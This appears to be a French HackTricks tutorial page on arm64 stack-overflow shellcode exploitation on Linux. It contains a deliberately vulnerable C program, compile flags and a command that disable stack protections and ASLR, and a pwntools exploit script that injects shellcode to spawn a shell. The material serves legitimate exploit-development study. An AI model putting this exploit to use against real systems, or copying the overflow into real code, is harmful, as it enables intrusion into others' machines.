Stack Shellcode - arm64

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Trouvez une introduction à arm64 dans :

Introduction to ARM64v8

Linux

Code

c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compiler sans pie, canary et nx:

bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

Pas d'ASLR & pas de canary - Stack Overflow

Pour désactiver l'ASLR, exécutez :

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Pour obtenir le offset of the bof check this link.

Exploit:

python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

La seule chose "compliquée" à trouver ici serait l'adresse dans la stack à appeler. Dans mon cas j'ai généré l'exploit avec l'adresse trouvée en utilisant gdb, mais ensuite lors de l'exploitation ça n'a pas fonctionné (parce que l'adresse de la stack avait un peu changé).

J'ai ouvert le fichier core généré (gdb ./bog ./core) et vérifié la véritable adresse du début du shellcode.

macOS

tip

Il n'est pas possible de désactiver NX sur macOS car sur arm64 ce mode est implémenté au niveau matériel, donc vous ne trouverez pas d'exemples avec shellcode dans la stack sur macOS.

Consultez un exemple macOS ret2win dans:

Ret2win - arm64

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks